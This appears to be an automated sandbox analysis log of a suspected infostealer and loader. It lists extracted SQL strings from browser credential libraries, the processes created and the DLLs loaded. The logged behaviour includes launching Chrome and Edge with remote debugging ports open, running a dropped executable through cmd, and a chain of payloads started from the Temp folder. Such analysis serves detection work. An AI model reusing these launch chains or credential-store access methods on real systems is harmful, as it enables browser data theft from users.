Source: file.exe, 00000000.00000002.2006913783.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1997352929.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005484818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2006913783.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1997352929.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005484818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2006913783.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1997352929.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005484818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2006913783.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1997352929.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005484818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2006913783.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1997352929.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005484818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.1997352929.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005484818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1757280041.000000001D769000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1668124565.000000001D775000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2677187263.000000000552A000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676365954.0000000005549000.00000004.00000800.00020000.00000000.sdmp, CBFCBKKFBAEHJKEBKFCB.0.dr, IEBFIEBAFCBAAAAKJKJE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1997352929.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005484818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1997352929.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005484818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsJDGCGHCGHC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2096,i,1851274958232769042,16841889112243571831,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2396,i,8876949000788444266,8259946871136057177,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2968 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6548 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6728 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCGHCGHC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJDGCGHCGHC.exe "C:\Users\user\DocumentsJDGCGHCGHC.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6916 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe "C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe "C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCGHCGHC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2096,i,1851274958232769042,16841889112243571831,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2396,i,8876949000788444266,8259946871136057177,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2968 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6548 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6728 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6916 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJDGCGHCGHC.exe "C:\Users\user\DocumentsJDGCGHCGHC.exe"
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe "C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe "C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
